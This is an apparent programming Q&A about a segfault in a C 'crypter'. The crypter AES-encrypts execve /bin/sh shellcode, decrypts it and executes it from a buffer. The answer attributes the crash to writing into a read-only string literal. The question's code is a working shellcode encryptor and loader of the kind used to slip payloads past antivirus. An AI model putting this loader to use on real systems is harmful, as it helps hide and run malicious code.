Search code examples
clinuxx86shellcode

Segmentation fault on mcrypt (probably something to do with the buffer)


I'm trying to build my own crypter in c using AES to encrypt the shellcode. Now I've already made a PoC of the crypter in one program which can be found below:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * MCrypt API available online:
 * http://linux.die.net/man/3/mcrypt
 */
#include <mcrypt.h>

#include <math.h>
#include <stdint.h>
#include <stdlib.h>

int encrypt(
    void* buffer,
    int buffer_len, /* Because the plaintext could include null bytes*/
    char* IV,
    char* key,
    int key_len
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}

  mcrypt_generic_init(td, key, key_len, IV);
  mcrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);

  return 0;
}

int decrypt(
    void* buffer,
    int buffer_len,
    char* IV,
    char* key,
    int key_len
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}

  mcrypt_generic_init(td, key, key_len, IV);
  mdecrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);

  return 0;
}


int main()
{
{
  MCRYPT td, td2;
  unsigned char * plaintext = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  char* IV = "AAAAAAAAAAAAAAAA";
  char *key = "0123456789abcdef";
  int keysize = 16; /* 128 bits */
  unsigned char buffer[32];
  int counter;
  int buffer_len = 32;



 for ( counter = 0; counter < buffer_len; counter++){
   buffer[counter]=0x90;
  }

  strncpy(buffer, plaintext, buffer_len);

  int plain_len = strlen(plaintext);

  printf("==Plain Binary==\n");
  for ( counter = 0; counter < plain_len; counter++){
    printf("%02x",plaintext[counter]);
  }

  encrypt(buffer, buffer_len, IV, key, keysize);

  printf("\n==Encrypted  Binary==\n");

  for ( counter = 0; counter < buffer_len; counter++){
   printf("\\x%02x",buffer[counter]);
  }

  decrypt(buffer, buffer_len, IV, key, keysize);

  printf("\n==decrypted  Binary==\n");
  for ( counter = 0; counter < buffer_len; counter++){
    if (buffer[counter] == 0){
        buffer[counter] = 0x90;
    }
    printf("\\x%02x",buffer[counter]);
  }
  printf("\n");
  printf("Shellcode Length:  %d\n", strlen(buffer));
  int (*ret)() = (int(*)())buffer;
  ret();


  return 0;
}

My goal is to take the encrypted shellcode, decrypt it and run it. However it seems I'm getting a segmentation fault when I try to initialize mcrypt with the mcrypt_generic_init(td, key, key_len, IV); function. I'm really unsure what is causing the segmentation fault. If anyone has an idea?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * MCrypt API available online:
 * http://linux.die.net/man/3/mcrypt
 */
#include <mcrypt.h>

#include <math.h>
#include <stdint.h>
#include <stdlib.h>


int decrypt(
    void* buffer,
    int buffer_len,
    char* IV,
    char* key,
    int key_len
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}
  printf("proceeding to mcrypt\n");
  mcrypt_generic_init(td, key, key_len, IV);
  printf("initiated mcrypt") ;


  mdecrypt_generic(td, buffer, buffer_len);
  printf("proceeding to mcrypt\n");

  mcrypt_generic_deinit (td);
  printf("proceeding to mcrypt\n");

  mcrypt_module_close(td);
  printf("returning from mcrypt\n");
  return 0;
}

int main()
{     
  MCRYPT td,td2;
  char* IV = "AAAAAAAAAAAAAAAA";
  char *key = "0123456789abcdef"; 
  int keysize = 16; /* 128 bits */
  unsigned char* buffer = "\x5c\xd8\xcf\x9e\x8f\x3a\x9f\x52\x2e\x3d\x51\x06\x00\xde\xa6\x64\x45\x5f\x62\x53\x75\xab\xbd\xe1\x33\xc1\x69\xbf\xed\xc8\x5c\xaa";
  int buffer_len = 32;
  int counter; 

  decrypt(buffer, buffer_len, IV, key, keysize);

 for ( counter = 0; counter < buffer_len; counter++){
        printf("0x%02x",buffer[counter]);
  }

  printf("\n");
  printf("Shellcode Length:  %d\n", strlen(buffer));
  int (*ret)() = (int(*)())buffer;
  ret();


  return 0;
}

Solution

  • You are trying to write in a literal string. This is wrong because compilers are allowed to allocate literal strings in read-only memory (and they really do that).

    Change this:

    char *buffer = "..."
    

    into this:

    char buffer[] = "..."
    

    The latter will allocate an array on the stack (hence modifiable) and dynamically fill it with the data from the literal string (done anew each time the function is entered).